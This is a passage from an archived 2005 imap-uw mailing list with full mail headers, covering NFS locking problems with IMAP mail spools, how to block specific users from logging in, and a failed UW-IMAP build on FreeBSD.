(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Nov 2005 08:24:20 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOCrm008114 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 29 Nov 2005 08:24:19 -0800 Date: Tue, 29 Nov 2005 08:24:11 -0800 (PST) From: Mark Crispin To: scott hollatz Subject: Re: [Imap-uw] imap and NFS In-Reply-To: Message-ID: References: <1133243111.47.1039973322@it.usyd.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 29 Nov 2005, scott hollatz wrote: > The solution was to scrap the architecture used for at leat 10 years, > and redesign without the need for any NFS anywhere email is involved. I agree. NFS-exported mail spools were a bad idea then, and are a worse idea now; it *never* worked well even though in the old days you could hold it together with duct tape. > I understand NFS 4 mitigates or eliminates the locking issues, but we're > not interested anymore... I doubt very much that NFS 4 fixes the problems, which are far deeper than locking issues. You also have to have synchronization of inode and data state across all clients, which requires a token-passing network filesystem. To my knowledge, TOPS-20 and VAX/VMS were the only operating systems which ever implemented a token-passing network filesystem. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 29 09:00:20 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Nov 2005 09:00:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATH0K8C032623 for ; Tue, 29 Nov 2005 09:00:20 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATH0GYl027064 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Nov 2005 09:00:16 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATH0C4K010234 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 29 Nov 2005 09:00:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATH0CHh007334; Tue, 29 Nov 2005 09:00:12 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATH09lh007293 for ; Tue, 29 Nov 2005 09:00:09 -0800 Received: from basie.internet2.edu (basie.internet2.edu [207.75.164.22]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATH06gB027775 for ; Tue, 29 Nov 2005 09:00:07 -0800 Received: from localhost (unknown [127.0.0.1]) by basie.internet2.edu (Postfix) with ESMTP id B73B41CD9F5; Tue, 29 Nov 2005 12:00:06 -0500 (EST) Received: from basie.internet2.edu ([127.0.0.1]) by localhost (basie.internet2.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 27677-04; Tue, 29 Nov 2005 12:00:06 -0500 (EST) Received: by basie.internet2.edu (Postfix, from userid 1122) id 7737F1CD9CE; Tue, 29 Nov 2005 12:00:06 -0500 (EST) Date: Tue, 29 Nov 2005 12:00:06 -0500 From: Dan Pritts To: Roy Giles Subject: Re: [Imap-uw] imap and NFS Message-ID: <20051129170006.GC19865@internet2.edu> References: <1133243111.47.1039973322@it.usyd.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1133243111.47.1039973322@it.usyd.edu.au> User-Agent: Mutt/1.4.2.1i X-Virus-Scanned: by mail.internet2.edu virus scanner X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu One thing you might do on the existing system that should improve performance is switch to mbx-format mailboxes from standard mbox. The downside is that anything other than UW IMAP, pine (or other c-client applications maybe) will not be able to directly access the mailboxes. If mailbox access is IMAP-only then this will be fine. If needed, you can convert them back to mbox. the short summary is that you need to use mailutil to create the new mailboxes and dmail to deliver into them. Beware that if you do not specify the correct flags to mailutil, it will default to creating a plain old mbox format file. On Tue, Nov 29, 2005 at 04:45:03PM +1100, Roy Giles wrote: > Hello, > > Our mail system resides on a fairly old Sparc machine running Solaris 2.6 > which is grinding to a halt; as a start in eventually moving off this machine, > we are thinking of moving our unix style mailbox format imap server :- > > IMAP4rev1 2004.357 > > on to a Linux box with mail still being delivered by smtp to the Solaris box. > > Could anyone with experience of running imap over NFS please comment on their > experiences pro and con, especially in the realm of locking. > > Thanks > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw danno -- dan pritts - systems administrator - internet2 734/352-4953 office 734/834-7224 mobile _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 29 09:19:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Nov 2005 09:19:53 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATHJrBa001498 for ; Tue, 29 Nov 2005 09:19:53 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATHJqYP016846 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Nov 2005 09:19:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATHJmqt022607 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 29 Nov 2005 09:19:49 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATHJmPV011048; Tue, 29 Nov 2005 09:19:48 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATHJldQ011014 for ; Tue, 29 Nov 2005 09:19:47 -0800 Received: from math.fu-berlin.de (leibniz.math.fu-berlin.de [160.45.40.10]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATHJiYC011209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 29 Nov 2005 09:19:46 -0800 Received: (qmail 12331 invoked from network); 29 Nov 2005 18:19:43 +0100 Received: from lusin.mi.fu-berlin.de (HELO mi.fu-berlin.de) (160.45.113.91) by leibniz.math.fu-berlin.de with SMTP; 29 Nov 2005 18:19:43 +0100 Received: (qmail 21558 invoked by uid 9804); 29 Nov 2005 18:19:43 +0100 Received: from localhost (HELO mi.fu-berlin.de) (127.0.0.1) by localhost with SMTP; 29 Nov 2005 18:19:40 +0100 Received: (qmail 21535 invoked by uid 9804); 29 Nov 2005 18:19:40 +0100 Received: from leibniz.math.fu-berlin.de (HELO math.fu-berlin.de) (160.45.40.10) by lusin.mi.fu-berlin.de with SMTP; 29 Nov 2005 18:19:40 +0100 Received: (Qmail 12290 invoked from network); 29 Nov 2005 18:19:40 +0100 Received: From stucki1.mi.fu-berlin.de (160.45.113.41) by leibniz.math.fu-berlin.de with SMTP; 29 Nov 2005 17:19:40 -0000 Received: from stucki by stucki1.mi.fu-berlin.de with local (Exim 3.36 #1 (Debian)) id 1Eh98l-0000xe-00 for ; Tue, 29 Nov 2005 18:19:39 +0100 Date: Tue, 29 Nov 2005 18:19:39 +0100 From: "Chr. v. Stuckrad" To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] imap and NFS Message-ID: <20051129171939.GZ27168@localhost.mi.fu-berlin.de> Mail-Followup-To: imap-uw@u.washington.edu References: <1133243111.47.1039973322@it.usyd.edu.au> X-Envelope-Sender: stucki@math.fu-berlin.de X-Virus-Scanned: by AMaViS 0.3.12pre7-L32[21538](NAI-uvscan@mi.fu-berlin.de) X-Remote-IP: 160.45.113.41 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.9i X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, Nov 29, 2005 at 09:54:30AM -0600, scott hollatz wrote: >> we are thinking of moving our unix style mailbox format imap server :- >> >> IMAP4rev1 2004.357 >> >> on to a Linux box with mail still being delivered by smtp to the Solaris box. >> >> Could anyone with experience of running imap over NFS please comment on their >> experiences pro and con, especially in the realm of locking. > >Many years ago we experienced similar problems with NFS. > >The use of NFS made sense under a simpler email services architecture but >begain to fail (i.e., poor IMAP/POP services) as load and user base grew; ... Well, same here, nearly. The problem of 'locking' is not so much depending on UW-IMAP as on which *combination* of tools runs on which side of the NFS! You have to make absoutely sure that every tool working on an mbox file is using the same locking (or at least is locking 'somehow' against every other tool). As there are three typical 'locks' - network-locking for NFS - kernel locking for files - dotlocks (which are th 'lockfiles' named '.lock') you'll habe to find out which way is the safe way. We here have working (but will move away from soon ...) A Solaris 9 (SunOS 5.9) Server with local spool files which are exported via NFS to the Workstations, and 'Home-Servers' which export User-Homes to the Mailer. This results in: - UW-IMAP (and pop) for remote access on MTA-local-Spool and on Remote(NFS)-Home-Files of users., - The /var/mail/mailbox-files exported via NFS for local old programs - 'qmail' for the MTA delivering via 'procmail' because 'qmail' ***NEVER*** works directly on NFS!!! - Mail delivered via procmail directly over NFS into Homes. 'procmail' and 'UW-Imap' and 'pine' work absolutely correct together. 'mutt' and 'SUN's [dt]mail' seem to be secure too, others we did not check completely as they mostly allow access via IMAP. We seldom (but not 'never'!) see mailbox corruptions. More often we see (network/NFS-)locks hanging 'forever' which mostly means a dead machine holding a nfs-lock. Even more often we see procmail-sorted deliveries into 'remote and hanging NFS-Homes', which then block all available delivery-'slots' of qmail, which brings the Mailer to a full stop(!). The latter scenario causes us to move away from the old system to 'only IMAP' via 'Cyrus' (cyrus does allow 'folders with mail AND folders in them' and thus is more Win*compatible) and away from qmail because we need some newer MTA features. (programmable retry times, authentication schemes, ...) Stucki -- Christoph von Stuckrad * * |nickname | \ Freie Universitaet Berlin |/_*|'stucki' |Tel(days):+49 30 838-75 459| Mathematik & Informatik EDV |\ *|if online|Tel(else):+49 30 77 39 6600| Arnimallee 2-6/14195 Berlin * * |on IRCnet|Fax(alle):+49 30 838-75454/ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 29 15:08:11 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Nov 2005 15:08:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATN8Bta022024 for ; Tue, 29 Nov 2005 15:08:11 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATN8AZ5022365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Nov 2005 15:08:10 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATN86hD002766 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 29 Nov 2005 15:08:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATN86HR023283; Tue, 29 Nov 2005 15:08:06 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATN84h2023275 for ; Tue, 29 Nov 2005 15:08:04 -0800 Received: from smtp.engineering.uiowa.edu (smtp.engineering.uiowa.edu [128.255.18.24]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATN83c2016593 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 29 Nov 2005 15:08:04 -0800 Received: from d-is00.icaen.uiowa.edu (d-is00.icaen.uiowa.edu [128.255.17.30]) by server11.icaen.uiowa.edu (8.13.2/smtp-serv-1.7) with ESMTP id jATN802O022409 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256); (envelope-from ) Tue, 29 Nov 2005 17:08:00 -0600 (CST) Date: Tue, 29 Nov 2005 17:08:00 -0600 (CST) From: David B Funk To: Mark Crispin Subject: Re: [Imap-uw] imap and NFS In-Reply-To: Message-ID: References: <1133243111.47.1039973322@it.usyd.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 0.87, clamav-milter version 0.87 on clamav.icaen.uiowa.edu X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 29 Nov 2005, Mark Crispin wrote: > I doubt very much that NFS 4 fixes the problems, which are far deeper than > locking issues. You also have to have synchronization of inode and data > state across all clients, which requires a token-passing network > filesystem. > > To my knowledge, TOPS-20 and VAX/VMS were the only operating systems which > ever implemented a token-passing network filesystem. > > -- Mark -- DCE-DFS also has a token-passing network filesystem. It handles concurrent reads/writers to a filesystem object and is implemented in a vender independent fasion (there is even an OpenDCE project ;). Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 30 06:04:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 30 Nov 2005 06:04:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUE4IVP002903 for ; Wed, 30 Nov 2005 06:04:18 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUE4HOk011366 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 30 Nov 2005 06:04:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUE4Dhe014373 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 30 Nov 2005 06:04:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUE4DuA029706; Wed, 30 Nov 2005 06:04:13 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUE4B5P029698 for ; Wed, 30 Nov 2005 06:04:11 -0800 Received: from signal.itea.ntnu.no (signal.itea.ntnu.no [129.241.190.231]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUE4ABh023326 for ; Wed, 30 Nov 2005 06:04:11 -0800 Received: from localhost (localhost [127.0.0.1]) by signal.itea.ntnu.no (Postfix) with ESMTP id D07BB337D9 for ; Wed, 30 Nov 2005 15:04:09 +0100 (CET) Received: from serv1.ub.ntnu.no (serv1.ub.ntnu.no [129.241.191.100]) by signal.itea.ntnu.no (Postfix) with ESMTP for ; Wed, 30 Nov 2005 15:04:09 +0100 (CET) Received: from dhcp-75190.itea.ntnu.no (dhcp-75190.itea.ntnu.no [129.241.75.190]) (authenticated bits=0) by serv1.ub.ntnu.no (8.12.11/8.12.11) with ESMTP id jAUE49qO014709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 30 Nov 2005 15:04:09 +0100 Date: Wed, 30 Nov 2005 15:04:09 +0100 From: Steinar Kaaro To: imap-uw@u.washington.edu Message-ID: <5E7B824EF7B54D2BED2E799C@dhcp-75190.itea.ntnu.no> X-Mailer: Mulberry/3.1.5 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; FORMAT=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Blocking specific users from logging in X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, I need to block specific users from logging in to UW-imap. My idea was to=20 create .imaprc files in these users home directories, with this setting: set maximum login trials 0 This setting does not seem to have any effect however. Has anyone else done = something like this? -- Steinar Kaar=F8 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 30 10:15:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 30 Nov 2005 10:15:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFLcO016796 for ; Wed, 30 Nov 2005 10:15:21 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFK3B012098 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 30 Nov 2005 10:15:21 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFHTL009171 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 30 Nov 2005 10:15:17 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFHF6020561; Wed, 30 Nov 2005 10:15:17 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFFNI020553 for ; Wed, 30 Nov 2005 10:15:15 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFF5S025680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 30 Nov 2005 10:15:15 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFEVY013270 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 30 Nov 2005 10:15:15 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAUIFClP021672 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 30 Nov 2005 10:15:14 -0800 Date: Wed, 30 Nov 2005 10:15:12 -0800 (PST) From: Mark Crispin To: Steinar Kaaro Subject: Re: [Imap-uw] Blocking specific users from logging in In-Reply-To: <5E7B824EF7B54D2BED2E799C@dhcp-75190.itea.ntnu.no> Message-ID: References: <5E7B824EF7B54D2BED2E799C@dhcp-75190.itea.ntnu.no> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 30 Nov 2005, Steinar Kaaro wrote: > I need to block specific users from logging in to UW-imap. My idea was to > create .imaprc files in these users home directories, with this setting: > set maximum login trials 0 There is no specific capability built in to UW imapd to block specific users from logging in, and as you discovered setting the login trial count doesn't work. Even if the trial count worked that way (it doesn't), setting it in a per-user config file can't possibly work because the per-user config file isn't executed until *after* the user logs in. If your system uses PAM (most modern systems do), you can set up PAM rules for imap to disable specific users. Refer to the PAM documentation for how to do this; I've never done it myself, so I can't tell you how. But I do know that one of the design goals of PAM is to have all authentication policy, on a per-server basis, be done under PAM instead of in each server. Otherwise, you'll have to modify the loginpw() routine in the c-client library to implement the policy that you wish. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 07:26:08 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Dec 2005 07:26:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB1FQ73X021259 for ; Thu, 1 Dec 2005 07:26:07 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB1FQ7ih024871 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Dec 2005 07:26:07 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB1FQ30J017224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Dec 2005 07:26:03 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB1FQ3Tw013883; Thu, 1 Dec 2005 07:26:03 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB1FQ2bN013875 for ; Thu, 1 Dec 2005 07:26:02 -0800 Received: from sce.cnc.una.py (sce.cnc.una.py [200.10.228.133]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB1FPkUD016532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Dec 2005 07:25:56 -0800 Received: from alpha.cnc.una.py (alpha.cnc.una.py [200.10.228.103]) by sce.cnc.una.py (8.12.9/8.11.4) with ESMTP id jB1FPjHx032448 for ; Thu, 1 Dec 2005 12:25:45 -0300 (PYST) Received: from fsbkpc.cnc.una.py (fsbkpc.cnc.una.py [200.10.228.102]) by alpha.cnc.una.py (8.12.8/8.12.8) with SMTP id jB1FPh7Z014610 for ; Thu, 1 Dec 2005 12:25:44 -0300 Date: Thu, 1 Dec 2005 12:25:43 -0300 From: Derlis =?ISO-8859-1?Q?Z=E1rate?= To: imap-uw@u.washington.edu Message-Id: <20051201122543.696e43f1@fsbkpc.cnc.una.py> Organization: Centro Nacional de =?ISO-8859-1?Q?Computaci=F3n?= X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-unknown-freebsd5.1) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Troubles with imap-uw-2004,g X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, I need an authentication mode that check the user date expiration (listed in /etc/master.passwd) and use the OS users database (/etc/passwd) to login. My OS is FreeBSD 5.4 Stable I execute this command to install the imap-uw: # cd /usr/ports/mail/imap-uw # make -DWITH_SSH_AND_PLAINTEXT PASSWDTYPE=std IP=6 Everything seems OK until this point but when I try to login with any client (kmail, thunderbird, outlook) it fails. In /var/log/messages appears: Login disabled user=tester auth=tester host= [] Some of you could help me Thanks. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 1 18:00:14 2005 -0800 